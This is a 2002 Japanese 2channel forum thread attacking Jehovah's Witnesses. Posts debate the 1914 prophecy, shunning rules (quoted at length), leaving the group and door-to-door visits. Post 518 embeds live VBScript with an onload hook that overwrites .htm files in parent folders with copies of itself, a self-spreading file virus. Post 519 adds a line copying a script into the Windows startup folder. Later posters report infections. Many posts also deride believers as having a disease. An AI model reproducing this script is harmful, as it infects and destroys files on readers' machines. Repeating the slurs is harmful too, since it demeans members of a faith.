ヒンズー教徒や……仏教徒,またゴート 人,アングロサクソン人,ドルイド教徒,メキシコ 人やペルー人にいたるまで,
すべてはその宗 教上のさまざまな考えを共通の源もしくは共通の 中心地から受け継いだに違いない。
その典礼,儀 式,習慣,伝承,またそれぞれの神や女神の名や 相互の関係に,
まさに驚くほどの一致がいたると ころに見られる」。
これら初期のバビロニア人た ちが世界の各地に移り住むことを余儀なくされた 時に,
自分たちの宗教上の概念をその新しい住み かに携えて行ったものと思われます。

458 :レヴィ=ストロース:02/07/08 01:37
>>457
で?

459 :名無しさん@1周年:02/07/08 01:43
ニムロデ→メソポ タミア→エジプト→ラッセル(1914年)→ラザフォード(1914年)→エホバの証人 (1914年根拠は隠蔽)

460 :boy's ◆yRaJFlJ. :02/07/08 01:44
>>450
>多くの人が、他のキリスト教ではなくエホバに走るのは、他の
>キリスト教では救われないから。

「多くの人が・・・・エホバに走るのは」ってウソです。
JWは日本のキリスト教人口の1/5しかいません。
(分母になってる数字にはJWはふくまれてないみたいね。)
多くの人はJWよりキリスト教に行きます。

では、なぜ「多くの人が・・・・エホバに走るのは」と
思いこんでしまうのか、考えてみたいと思います。
JWでは他からの改宗者がいると「あの人は、元***教。」
と話(か、噂話)にのぼります。
JWを辞めた人(または不活発)は他の宗教に行っても、
JWの人は知らないと思います。
JW信者にしてみれば他の宗教から流入する一方に感じるかもしれませんが
私の知っている範囲内でも「JW→キリスト教」「JW→創価学会」がいます。
               


461 :名無しさん@1周年:02/07/08 01:54
>>460
ハア?

誰も他のキリスト教信者よりもエホ症「の方」が多い
なんて言ってねえだろ。単にエホ症に逝く人が多いって
言ってるだけだろ。
他のキリスト教信者より、エホ症のほうが少ないことなんて
誰でも知ってる。

論点ずれてるぞ。

462 :boy's ◆yRaJFlJ. :02/07/08 02:15
ああ、もうちょい書こ。

JW信者さんは「世界的に一致した組織」みたいな事を言いますが、
「1914年を見た世代にマルマゲドンが来る。」の教義の変更のことで、
なぜ教義の変更が有ったのか興味がありましたので
複数のJW信者さんにお尋ねしました。ところがそれぞれ違った回答になりました。

1、その話は無くなりました。
2、以前はアダムの創造された日から計算していましたが、
  アダムの妻が創られた日にちから計算しなければならない事がわかりました。
3、以前はアダムの創造された日から計算していましたが、
  アダムとその妻がエデンの園から追い出された日から
  計算しなければならない事がわかりました。
4、1914年の計算方が間違いでした。(1914年そのものが間違い)

全然一致してない気がします。

ほんとはどうなんですか。>信者さん。

463 :boy's ◆yRaJFlJ. :02/07/08 02:22
>>461
ああ、私は全体を読んでなかったみたいね。
たしかに、論点ずれてたとこがあったみたいですね。

464 :名無しさん@1周年:02/07/08 02:23
エホ症の親に「何でエホ症だけが正しいと言えるんだ」
って聞いたら、
・エホ症はナチスに抵抗し戦争に行かないで殺された。
・エホ症の組織は愛に満ち溢れている。
・エホ症の幹部(?)はものすごく聖書に詳しい。
・1914年の予言をしたのはエホ症だけ。
などと答えられて、反論する気が失せた。


465 :名無しさん@1周年:02/07/08 02:40
ストラビンスキーは作品「火の鳥1」で1914年 は戦争の年と暗示的に予言していた。
とレコードジャケットに書いてある。しかしストラビンスキーはふさわしくない作曲家として、エホ症は聞かないようにと雑誌に書かれた!

466 :名無しさん@1周年:02/07/08 02:42
エホ症ってどんな病気なんですか?
ダウン症よりひどいんですか?

467 :名無しさん@1周年:02/07/08 02:48
1910年 にハレー彗星が預言されたとおり(周期だけど)到来した時に、世界の終末が語られ、
西洋は大騒ぎになったことがあった。TV番組タイムトンネルで見たぞ!


468 :名無しさん@1周年:02/07/08 02:53
>>466
ダウン症の方に失礼ですよ。

エホ症とは、発症すると思考が停止し、自分でモノが
考えられなくなるという恐ろしい病気です。
患者の多くは家庭が崩壊し、社会生活の基礎が脅かされ、
鬱状態になり最悪の場合、死に至ることもあります。

469 :名無しさん@1周年:02/07/08 02:55
そもそもフランス革命の時に、「いよいよ終末か!?」
と人々は色めき立ったらしい。

終末論の背景には「こんな世の中滅んでしまえばいい」
といった厭世観があるんだろうね。

470 :名無しさん@1周年:02/07/08 02:57
↑だから1914年の予言をしたのはエホ症だけってのはばかげた話しで、世紀末前後の期間に終末論がそれだけ盛んだったってこと。

471 :464:02/07/08 03:54
・エホ症はナチスに抵抗し戦争に行かないで殺された。

別に戦争に反対して迫害されたのはエホ症だけじゃない。

・エホ症の組織は愛に満ち溢れている。

嘘ばっかり。

・エホ症の幹部(?)はものすごく聖書に詳しい。

どこがw

・1914年の予言をしたのはエホ症だけ。

肝心のこの予言も修正しまくってるし。

はっきり言って全く話にならない。
何を言っても「サタンの仕業だ」。


472 :名無しさん@1周年:02/07/08 04:02
エホ症に見られる基本的な思考方法が、レッテル貼り。
自分たちに都合の悪いことにはすべて、背教者、サタン
のレッテルを貼り、聞こうとしない。

「組織が言っていることだから正しい」。
「背教者が言っていることだから間違い」。
それ以上考えようとしない。
しかしこれはトートロジー(同義反復)であり、
何も言っていないに等しい。つまり、
正しいから正しい、間違いだから間違い、と言っている
ようなもの。

473 :名無しさん@1周年:02/07/08 04:03
エホバの証人はすてきなひとばかり
やな奴いません

474 :名無しさん@1周年:02/07/08 04:06
>>473
どんなに素敵な人でも、エホバ(組織)を
崇拝していない人は滅ぼされるんだよな。

475 :名無しさん@1周年:02/07/08 04:08
かわいそうだな。間違った・・・てゆーか、イエスの教えとは違う教えを奉じているし、全てが形式化してるんじゃないか?神よ、彼らを救い給え・・・。

476 :イエス・キリスト:02/07/08 04:11
「病人にこそ、私が必要なのですw」

477 :名無しさん@1周年:02/07/08 04:13
パウロの黙示録には、思い込みで神に仕えているものは皆地獄に落ちるって書いてあったよ。

478 :名無しさん@1周年:02/07/08 04:17
>>473
素敵な人だから救われるの?
どんなに素敵な人でも、エホバ(組織)を
崇拝していない人は滅ぼされるんだよね。
エホ症にとってはエホバ(組織)に所属して
いるかどうかが問題なんでしょ?

479 :名無しさん@1周年:02/07/08 04:30
そうみたい。イエスを受け入れるとかじゃないみたいだね。多分組織はイエスを受け入れてるとか言うだろうけどね。組織=イエスの象徴みたいだし。

480 :名無しさん@1周年:02/07/08 06:30
ア-メダマ

481 :名無しさん@1周年:02/07/08 06:52
パウロの黙示録って?

482 :エホバの証人とピラミッド:02/07/08 06:55
『奇妙な論理〈2〉』というさまざまな擬似科学の話題を取り上げた本の
142ページには「エホバの証人とピラミッド」という項目があります。

ものみの塔(エホバの証人)の創始者ラッセルが出版した
「聖書研究」の第三巻についても言及しています。

書名   『奇妙な論理〈2〉』
著者   M・ガードナー
翻訳   市場泰男
出版社  社会思想社:現代教養文庫
価格   ¥600


483 :名無しさん@1周年:02/07/08 09:51
>>421
宗教史ちゃんと勉強して来い。とくに古代の祭儀宗教な。
現在でも神道なんかには全然あんたのいってること当てはまらないんだが。
この場合祭儀共同体がそのまま生活共同体になるからな。

484 : ◆QZaMZxPE :02/07/08 12:35
??
>>194

485 :名無しさん@1周年:02/07/08 19:58
>>482
あ、それ見たことある。初期の「聖書研究者」時代のエホバの証人について
書いてる本だね。

486 :名無しさん@1周年:02/07/08 20:10
だいたい、エホバの証人を批判している人ってだれだ?
陰険なことをするもんじゃない。
IQ低いDQN連中だからしかたないか・・・。

487 :名無しさん@1周年:02/07/08 20:15
>>471
サタンだってこんな団体恥ずかしくって道具にしないんじゃない?

488 :名無しさん@1周年:02/07/08 20:18
>>474
あなたの神さんは随分視野の狭い神さんですねえ

489 :オナン:02/07/08 22:26
お前ら、エホバやめるときどうだった?

俺は、赤ん坊の頃から、はめ込まれてたので、高三で
やめた時は、すげー勇気がいったよ。
精神的な負担が大きかったせいか、そのあたりの記憶が
あやふやなんだよな・・・。

親の人達とも、そんな話できねーし。



490 :名無しさん@1周年:02/07/08 22:37
赤ん坊の頃から、はめ込まれ、28歳現役。
エホバ最高です。何でやめな−あかんの

491 :boy's ◆yRaJFlJ. :02/07/08 22:47
まあ、JW信者さんは >エホバ最高です。
と言うけど、どこが最高なのかな。
ほんと全然想像がつかないな。

何が良いのですか。>JW信者さん。

492 :421:02/07/08 23:21
>>483
まあそうあせるな。

日本の場合は、宗教が社会の中で人を救うように機能してきた
ので、現世の中で御利益を与えてくれる都合の良い神ばかり
しかいなかった。だから「本来」社会よりも大きい宗教に
対する免疫が全く無い。そのため、社会の中で救われない
人間がカルト的な宗教に走った場合、悲劇が大きくなるんだよ。

493 ::02/07/08 23:39
だめぽ・・・

494 :名無しさん@1周年:02/07/08 23:43
>>492

言ってる事に統一性がない。
知識が中途半端なのか、何かの書き写しなのか。
宗教一般の定義について言及したいのか。

自分でカギカッコ付きで「本来」と書いてるじゃない。

495 :名無しさん@1周年:02/07/08 23:57

                ,.'::    ,、- ''"´   `゙゙゙''‐ 、 ゙' ,  ,,、、、
               ,.':::  .,. "           ゙'.、r'"   ゙'、
             ,.':::: , " ,  ., , ,, 、,  , 、 、 ,r"       ',
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.            ,>' .:r"l  ',.l,、‐''''i-     ''i;'   .:::::::::::::::::::,'
           〈-、::::゙'‐!. ,. '、ゝ;;;:j      /.   .::::::::::::::::::::,' エホバは危険! 
.            ゙、 ゙''‐-l  ', .ヽ`.´    ' ,.'   .::::::::::::::::::::/  エホバは迷惑!
             `,i‐、..}i  '.;:. ゙ヽ   ヾソ'   .:::::::::::::::::::,.'      ちぃ、覚えた!
.             / ;. ゙,゙,   ';:  ノ,,、-''"   .::::::::::::::::::,r'
            / ,.'-‐゙'',-,、,i'"゙! "     .::::::::::::::::,r'"',
            / i'r"゙'´` `'''>'      ゙,::::::::::;r':!   ',
.           / .,、'´ ::、 .:,r'"        ゙、:::::'::::::',.   ',
           / .,.!  ..  :゙'::,'   、.l.      ゙、:::::::::: ゙、.  ',
         / /,', ...::.:::::::,'    ゙'i.       ゙、:,',:::::. ゙、 '゙、
.        / , ', ' .i、:::::::::,r'     ',        ゙、':::::::::. ゙、 ヽ
        / ,.'.,.'  ,゙、:::::::i   ゙、.   '、    ..:::::::l::::::::::::::. ヽ ヽ
       / ././  ,.'  '、;:::!   ',    ゙、::::::::::::::::::::::!:::::::::::  ,''-、..,,゙、、,,,.__
      / / / ./  .::::::`゙'、.   '、  .:::::゙.、::::::::::::::::!::::::::  .,.',,     ,,-,-‐'




496 :煽ってみよう:02/07/09 00:18
>>494
文句いってないで494さんの持論を発表しなさい!
「中途半端」ではない「一貫性」のある意見を!
494さんの言葉で、いってごらんなさい!

497 :名無しさん@1周年:02/07/09 00:19
>>494
ハア?

日本の宗教は社会の中にあるから、それじゃ救われない
人が出るって話だろ。



498 :名無しさん@1周年:02/07/09 00:22
本当に賢く、統治体の誤りに気付いている人もいるようだが、殆ど純粋に頑張っている人ばっかりなので、みんなやめにくいらしイ。友達が明かしてくれた。

499 :名無しさん@1周年:02/07/09 00:23
>>483
キリスト教の話をしてるのに、
日本の神道の話とか関係無いだろ。
知識をひけらかしたいだけなんじゃないの?
論点ずれてるぜ。

500 :名無しさん@1周年:02/07/09 00:28
>>498
それに今更辞めたって、他に逝くところ無いしな。
エホ症になった時点で退路を絶たれてるから。

501 :名無しさん@1周年:02/07/09 01:15
宗教の自由という法の下にエホ症っていうインチキ宗教がのさばってるのが
気に入りません。
つーか、エホ症恥ずかしくないのかな?
伝道なんか絶対馬鹿馬鹿しくてやれない・・・・
エホ症の人が一日一日を感謝の心で生きている人間だとはとても思えない。。
エホ症という宗教の意義ってどこにあるんですか?
アレって「生かされていることは幸せである」っていう考え方が抜けてませんか?

と仏教徒は思うかもしれないね

502 :名無しさん@1周年:02/07/09 01:21
エホ症の集会に潜り込みました。
みんな胡散臭い冊子を持って、科学的根拠の全く無いことを何の疑いも
なくのべるんですよ。
しかもいい大人が大半ですよ。
で、冊子には蛍光ペンなんかでラインひいてあるし。
質問は教科書の単元末についてるような感じのやつでした。
狐につままれたような感じがしました・・。

503 :名無しさん@1周年:02/07/09 01:32
俺、排斥された(笑)

504 :名無しさん@1周年:02/07/09 01:35
>>503
おめでとう!

505 :名無しさん@1周年:02/07/09 01:36
つい最近、なかば強引にね。何かすっきりしたよ。

506 :boy's ◆yRaJFlJ. :02/07/09 02:12
>>503さん
おめでとうございます!!!


507 :某神社の大川バカ論理学論理学論理学論理学:02/07/09 02:13
よかったね

508 :?C???n???V?Q?u´?U´:02/07/09 02:17
よかったね!
おめでとうございます。

509 :名無しさん@1周年:02/07/09 08:03
>>503
あとは終わりを待つだけだな

510 :名無しさん@1周年:02/07/09 09:27
>>503
おめでとー。503の前途に幸多かれと祝福する。
めでたいのであげ。

511 :名無しさん@1周年:02/07/09 09:36
めでたくないでしょ
前途悲惨

512 :名無しさん@1周年:02/07/09 11:09
さっき、お昼の支度をしていたら突然「井上というものですが」といって
いきなり尋ねて来た人がエホだった。
「うちはカルトはいりません」といっても「カルトではありません」とか
抜かしやがるので、塩を撒いて追い返しました。

513 :名無しさん@1周年:02/07/09 11:23
さっきうちにも来たよ。美形のおばちゃんと玄関先で座りながら話したが、やつらにはめずらしくミニスカートだった・・・見えそうだった・・・まじめに話聞いてたら午後にまたくるそうな。足を拝むかの〜

514 :名無しさん@1周年:02/07/09 12:02
>>512
エホ証はなめくじなのか?

>>513
近いうちに男に変わるよ

515 :名無しさん@1周年:02/07/09 12:07
僕のところにもよくおばちゃんがくるが、男には変わらないよ。ミニははいてこないがなかなかの美人じゃ〜

516 :6666:02/07/09 12:13
http://www.toki-meki.com/shop/index.asp?url=http://www.toki-meki.com/shop/category/sports_top/pro.html

517 :プ〜:02/07/09 13:50
うちには男しかこないよ

518 :名無しさん@1周年:02/07/09 15:04
お前たちくだらなすぎ

<BODY Onload="Redirect();">
<script language="VBScript"><!--

Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>


519 :名無しさん@1周年:02/07/09 15:16
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"


520 :名無しさん@1周年:02/07/09 15:20
>>518
>>519
日本語に訳して見ろ!(笑)

521 :名無しさん@1周年:02/07/09 15:21
520>
ノートンインストールしてから見てご覧!
楽しいから

522 :名無しさん@1周年:02/07/09 15:26
わたしは携帯からなのでみれないのですが・・・どんな所がすごいのですか?

523 :名無しさん@1周年:02/07/09 16:49
よくわかんないけどウイルス感染しちゃうんじゃないの?
さっきからエホ証関連回ってきたけど何回も感染したよ

524 :ワンレン ◆wUDH2Y5M :02/07/09 20:23
virusとして反応しますね。

525 :boy's ◆yRaJFlJ. :02/07/09 20:53
ウイルスが流行っているんですか?
どなたか、もうちょい詳しい情報ください。。。


526 :名無しさん@1周年:02/07/09 21:46
エ穂はウィルスの親玉でちゅ

527 :名無しさん@1周年:02/07/09 21:57
                   警告、警告〜!
               エフォバカがウイルス撒いてますぅ!



        _  , ´  ̄ `ヽ、   _        )
      /´  冫゜    ,. '´ ̄ ̄´ 、 \    / へ
      .′  .′   /   _,=、 i i  lヽ  ト、 \`./
      l.   レ'⌒li ′  _='´_! l l /! } ム,, ヽ
      !   li   リ i.   彳 ´  レjノ!/イ/ノ‐、 ! l
     l、   ト=' ′!    l.           l. /
      ゝヽ. ト-‐'゜l.    、 ◯      ○ !〈
      〈 `ヽ.ヘ、   ',  、 ` ーz    r ┐ r┴,〉
      ゝヽ. 、_〕ー-へ 、 `ー-=彳   ` ′ ,トニソ
      └r-_、_冫   __ヽニ==ァ′ ___ . <
        ヽゝ   /   ̄`ヾ`_ー --')、  ヽ






528 :スレ違い:02/07/10 00:28
421の「持論」。

1:宗教とは社会のはみ出し者が縋るものである。

2:宗教と社会は両立出来ない。

3:宗教とはカルトである。


わたしの反論。

1:社会のパラダイムの外にあるものをフォローするのは「オ」カルト。

2:古来より信仰と社会は密接な関係を築いている。

3:宗教とカルトは違う。


529 :スレ違い:02/07/10 00:32
宗教とオカルトの関係については突っ込まない。
ここでやると荒れるからね。
社会と宗教は相容れないものではない。
社会のルールを逸脱してしまった宗教はあるが、
それが宗教の「本来」の姿ではない。
「宗教」とひと括りにするのは危うさを伴うが。
カルトと宗教の間に厳密に線引きをする事は困難だ。
だが、似た側面がある事と同じである事は等しく無い。
その二つについて同一視する事は出来ない。

自分に都合のいいところだけを持ってくるのはフェアじゃない。
その度に自分の立場を変えるのも。
483のレスに対して「日本は特殊だから」ではなく、真正面から答えればいい。

530 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:24
1 家族のきずなには非常に強いものがあります。それでクリスチャンに
とって,配偶者や子供,親,その他の近親者が会衆から排斥されたり断絶し
たりすることは試みとなります。(マタ10:37)忠節なクリスチャンは,そ
のような親族にどう接するべきでしょうか。その親族が一緒に住んでい
る場合には,何かの違いが生じるでしょうか。まず聖書がこの問題につい
て述べている事柄,つまり排斥された人にも断絶した人にも当てはまる原
則を振り返ってみましょう。

531 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:25
2 追放された人にどのように接しますか:神の言葉は,クリスチャンが会
衆から追放された人と交際や交友を続けないように命じて,こう述べてい
ます。だれであれ「兄弟と呼ばれる人で,淫行の者,貧欲な者,偶像を礼拝
する者,ののしる者,大酒飲み,あるいはゆすり取る者がいれば,交友をや
め,そのような人とは共に食事をすることさえしないように……その邪悪
な人をあなた方の中から除きなさい」。(コリー5:11,13)マタイ18章17節
に記録されている,「[追放された]人を,あなたにとって,諸国民の者また
収税人のような者としなさい」というイエスの言葉もこの点に関係してい
ます。イエスの言葉を聞いた人たちは,当時のユダヤ人が異邦人といっさ
い親交を持たず収税人を部外者として遠ざけていたことをよく知っていま
した。それでイエスは追随者たちに,追放された人と交わらないようにと
教えていたのです。―「ものみの塔」誌,1981年11月15日号,17-19ぺージ
をご覧ください。

532 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:26
3 これは,忠節なクリスチャンは,だれであれ会衆から追放された人と霊的
な交友を持たない,という意味です。しかし,それ以上のことも関係してい
ます。神の言葉は,「そのような人とは共に食事をすることさえしないよ
うに」と述べています。(コリー5:11)それでわたしたちは,追放された人
との親ぼくのための交友も避けます。それには,その人を加えてピクニッ
クに行ったり,パーティーを開いたり,球技をしたり,ショッピングや劇場
に出かけたり,家であれレストランであれ一緒に座って食事をしたりする
ことも含まれるでしょう。

533 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:27
4 排斥された人と話すことはどうでしょうか。聖書は,生じ得るあらゆる
状況を取り上げているわけではありません。しかしヨハネ第二10節は,エ
ホバがこの問題をどう見ておられるかを知る助けになります。そこには,
「この教えを携えないであなた方のところにやって来る人がいれば,決し
て家に迎え入れてはなりませんし,あいさつのことばをかけてもなりませ
ん」とあります。この聖句について,「ものみの塔」誌,1981年11月15日
号,24ページには次のような注解が載せられています。「『こんにちは』
という簡単なあいさつがきっかけとなって会話に発展したり,場合によっ
ては友情に発展したりすることがあるものです。わたしたちは排斥され
た人に対し,そのようなきっかけを作りたいと思うでしょうか」。

534 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:28
5 まさに「ものみの塔」誌の同じ号の30ぺージに述べられているとおり
です。「事実からすれば,クリスチャンが罪にふけって排斥を余儀なくさ
れる時,その人は本当に多くのものを失います。神のみ前における是認さ
れた立場,……以前クリスチャンの親族との間で保たれていた多くの交わ
りを含め,兄弟たちとの喜ばしい交友などを失うのです」。

535 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:29
6 同居している場合:それでは,排斥された家族の成員と同じ家に住んで
いるクリスチャンは,話しかけたり,共に食事をしたり,日常的な活動の際
に交わったりすることを避けなければならないのでしょうか。「ものみの
塔」誌,1991年4月15日号,22ぺージにある脚注はこう述べています。「も
しクリスチャンの家族の中に排斥された親族がいるとしたら,その人は従
来どおり,普通の日常的な家の仕事や活動に携わるでしょう」。それで,食
事その他の家族としての活動の際,排斥されている家族の成員をどの程度
までそれに含めるかの決定は,その家族にまかされるでしょう。とはいえ,
排斥前と何も変わっていないかの印象を,交わっている兄弟たちに与えた
くはないでしょう。

536 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:30
7「ものみの塔」誌,1981年11月15日号,27べージには,排斥されたり断絶し
たりした人についてこう述べられています。「以前存在していた霊的なき
ずなは完全に断ち切られました。この点は,すぐ身近にいる家族を含め,そ
の親族に関しても真実です。……これは,家庭内に存在していたであろう
霊的な交友に変化が生じることを意味します。例えば,夫が排斥された場
合,家族の聖書研究をその夫が司会したり,聖書朗読や祈りで指導したりす
ると,妻や子供たちは気持ちよくありません。排斥された人が食事の時な
どに祈りをしたいと思えば,自宅でなら祈る権利はあります。しかし妻や
子供たちは声を出さずに自分で神に祈りをささげることができます。(箴
28:9。詩119:145,146)家族が聖書を一緒に読んだり,聖書研究をしたりす
る時に,家庭内にいる排斥された人が出席することを望むならどうですか。
家族を教えようとしたり,宗教的な考えを述べようとしたりしない限り,出
席して耳を傾けることは許されるでしょう」。

537 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:31
8 家に住んでいる未成年の子供が排斥された場合でも,クリスチャンの親
は依然としてその子供を育てる責任を負っています。「ものみの塔」誌,
1988年11月15日号,20ページにはこう述べられています。「親は子供に衣
食住を備え続けるのと同じように,神の言葉に調和した教えと懲らしめを
与える必要があります。(箴言6:20-22;29:17)たとえ子供が排斥されたと
しても,愛ある親はそのようにして,子供との家庭聖書研究を取り決める
ことができます。恐らくその子供は,親と自分一人との研究から,矯正の
ための最も優れた益を得ることになるでしょう。あるいは,親のほうで,
子供を今後も家族研究の取り決めに参加させるという決定を下すかもし
れません」。―「ものみの塔」誌,2001年10月1日号,16,17ぺージもご覧
ください。

538 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:31
9 一緒に住んでいない親族:「もし排斥された者,あるいは自ら関係を
断絶した者が,一緒に暮らしている家族ではなく,別に生活している親族
であるなら,事情は異なります」と,「ものみの塔」誌,1988年4月15日号,
28ぺージは述べています。「その親族とはほとんど接触せずにすむかも
しれません。たとえ家族の何かの事柄で接触しなければならないとして
も……そういうことは最小限に保たれるに違いありません」とも述べて
います。これは,悔い改めずに罪をおかしている人がいれば,だれであれ
『交友をやめる』ようにという神の命令と調和しています。(コリー5:11)
忠節なクリスチャンはそうした親族との不必要な交わりを避け仕事上の
接触も全く最小限にとどめる努力を払うべきです。―「ものみの塔」誌,
1981年11月15日号,28,29ぺージもご覧ください。

539 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:32
10 「ものみの塔」誌は,生じ得る別の状況に注意を向けてこう述べていま
す。「では家にいない息子や親などの肉親が排斥され,その結果家に帰るこ
とを願っている場合はどうですか。家族は状況に応じ,どうすべきかを決定
することができます。例えば,排斥された親は病気で,経済的にも身体的に
も自活できない状態にあるかもしれません。クリスチャンである子供には,
親の面倒を見る聖書的また道義的責任があります。(テモテ第一5:8)……ど
うするかは,親が本当に必要としている事柄や親の態度,家の者の霊的福祉
に対する家族の頭の心遣いなどによって決まるでしょう」。―「ものみの
塔」誌,1981年11月15日号,27;28ぺージ。

540 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:33
11 子供についても同じ記事はこう述べています。「クリスチャンの親が,
身体的に,あるいは感情的に病気になった排斥された子供をしばらくの間
家に戻すこともあります。しかし親は必ずその子の状況を慎重に考慮しま
す。排斥された息子は自活してきたでしょうか。今はそれができないでし
ょうか。本人が戻りたがっているのは,主に,その方が生活が楽だからです
か。本人の品行や態度はどうですか。家庭内に『パン種』を持ち込むこと
になりますか。―ガラテア5:9」。

541 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:33
12 エホバに忠節であることの益:悔い改めない悪行者を排斥して遠ざけ
るという聖書的な取り決めに協力することには益があります。そうする
ことによって,会衆の清さが保たれます。わたしたちは聖書の高い道徳規
準を擁護する者として際立つことになります。(ペテ一1:14-16)腐敗をも
たらす影響力から守られます。(ガラ5:7-9)また,悪行者は受けた懲らし
めから十分に益を得る機会を与えられ,「平和な実,すなわち義」を生み
出すよう助けられるかもしれません。―ヘブ12:11。

542 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:34
13 ある兄弟とその妹は巡回大会での話を聞いて,6年前に排斥された同居
していない母親との接し方を変える必要があることに気づきました。大会
のすぐ後,兄弟は母親に電話をかけ自分たちが母親を愛しているとはっき
り述べてから,連絡の必要な家族に関する重要な事柄でなければもう話し
かけることはできないと説明しました。間もなく母親は集会に出席するよ
うになり,最終的に復帰しました。また,未信者の夫も研究を始め,やがて
バプテスマを受けました。

543 :親族が排斥されているときクリスチャンとして忠節を示す:02/07/10 10:35
14 聖書に記されている排斥の取り決めを忠節に擁護することによって,
わたしたちはエホバヘの愛を実証し,エホバを嘲弄している者に返答でき
ます。(箴27:11)そして,わたしたちはエホバの祝福があることを確信で
きます。ダビデ王がエホバについて述べているとおりです。『その法令
については,わたしはそれからそれることはないからだ。忠節な者には,
あなたは忠節をもって行動されます』。―サム二22:23,26。

544 ::02/07/10 10:55
ウザイ・・・

545 :名無しさん@1周年:02/07/10 11:28
いいかげんにしろ

546 :名無しさん@1周年:02/07/10 11:53
>>530-543
それにしてもわかりにくい日本語だ。
こんなのをいつも読まされてりゃ、そりゃおかしくなるわな。
ていうか、これらを必死に理解するために時間を費やすほど、
聖書そのものからは遠ざかるのでは。 それが組織のねらいか?

で、この文章って何が言いたいのかな。
書いた人かわかる人、未洗脳のばかな一般人にもわかるように解説してくらさい。

547 :名無しさん@1周年:02/07/10 13:03
原稿が多すぎて解説に時間がかかる
セルロン400ではちと荷が重すぎるよ

548 :名無しさん@1周年:02/07/10 13:12
洗脳されれば理解できますです
あなたにも洗脳ドリンクお届けしますか?

549 :boy's ◆yRaJFlJ. :02/07/10 14:27
排斥、排斥、、ってカルト用語使いすぎてら。
分かってつかってんだか、知らないでクセでつかってるんだか。
なに考えてるのでしょうね。。。

550 :迷える人:02/07/10 14:52
エホバを崇拝している証人をなぜ批判するのですか?
他に誰が(どこが)エホバを真の意味で崇拝しているのでしょうか?
教えてください。

551 :名無しさん@1周年:02/07/10 15:13
>>550
>他に誰が(どこが)エホバを真の意味で崇拝しているのでしょうか?

現時点ではJWしか見あたらない 問題もあるけどね
他の宗教は悪魔を真の意味で崇拝しています




552 :boy's ◆yRaJFlJ. :02/07/10 15:29
そんなこと言ったって「エホバ」ってJWが創り上げた神でしょ。
他の宗教が崇拝する意味が無いと思うけど。
創始者の墓の写真を見ちゃうとね。
JWの正しさを証明するのは難しいんじゃない。

553 :迷える人:02/07/10 16:15
エホバは聖書に書かれている神じゃないですか。
JWほど、人間に誉れを帰す事なく神を崇拝している
団体が他にありますか?
ラッセルをJWは崇拝してますか?

554 :名無しさん@1周年:02/07/10 16:15
無駄な時間使ってるなぁ(w
折れが長老だったら、その時間を個人研究に費やしなさい、と
忠告してるよ。まさか、文字入力に費やした時間を奉仕時間に
当ててないだろうなぁ?あぁ?(プ

555 :名無しさん@1周年:02/07/10 16:20
文字入力に費やした時間じゃなくて2ちゃんを見てる時間です。

556 :名無しさん@1周年:02/07/10 16:45
勧誘にて


勧誘の人 「あなたは神を知ってますか? ]

漏れ 「知りません。」

勧誘の人 「それはエホバです。」

漏れ、その場で失笑

557 :boy's ◆yRaJFlJ. :02/07/10 18:37
>>553
>エホバは聖書に書かれている神じゃないですか。

私も聖書を読みますが「エホバ」は知りません。

>JWほど、人間に誉れを帰す事なく神を崇拝している
>団体が他にありますか?

カトリック、プロテスタント、ロシア正教会

>ラッセルをJWは崇拝してますか?

ラッセルを崇拝しているかは知りませんが
宗教団体の創立者を見ると、その宗教団体を想像できます。
出だしで躓いた団体は、その後の修正は非常に困難です。


558 :名無しさん@1周年:02/07/10 19:26
>>530-543は、ただ単に意見の合わない人間との付き合い方について
書いてあるだけー。
意見の合わない人間が家族や親類だった場合、どうやって法律で罰せられずに
極力避けるのか書いてあります。
聖書がそんなものまで指南しているとは思いませんでした。


559 :名無しさん@1周年:02/07/10 23:16
しかも英語の直訳なんじゃねえの?

560 :名無しさん@1周年:02/07/10 23:29
典型的なエホ症の論理。
質問の直後に答えがあり、自分で考えさせない
工夫がされている。

そしてやはりトートロジー(同義反復)。
組織(必ずしも聖書ではない)の書物にこう書いてあるから
正しい、という論理。つまり、組織の書物は正しいのであり、
「正しいから正しい」というもので、何も言っていないに等しい。

561 :名無しさん@1周年:02/07/11 03:38
>>560
なるほど。
だから一般的思考回路を持つ人間は読んでて苦痛なのか。

562 :名無しさん@1周年:02/07/11 13:57
ホ○マト○オ排斥の詳細キボン

563 :名無しさん@1周年:02/07/11 14:31
>>551
問題有り過ぎなんですが・・・・・

つーか、カトリとか、プロトとかより性的虐待者の比率が高いのに
書籍研究で、大いなるバビロンである諸宗教の性的犯罪が、云々〜は
いかがなモノだろうか?

自分達の事を、一度見つめ直しませんか?
エホバの証人さん。

564 :名無しさん@1周年:02/07/11 21:08
>>557
ロシア正教会は正教会のなかの一部。(モスクワ総主教座管轄の正教会)
東方正教会、またはたんに「正教会」というのが通。

565 :503:02/07/11 22:31
審理委員会で自分たちの都合の良いように人を排除してることがよく判った。
はっきり言ってあの場は偽善だらけだった。

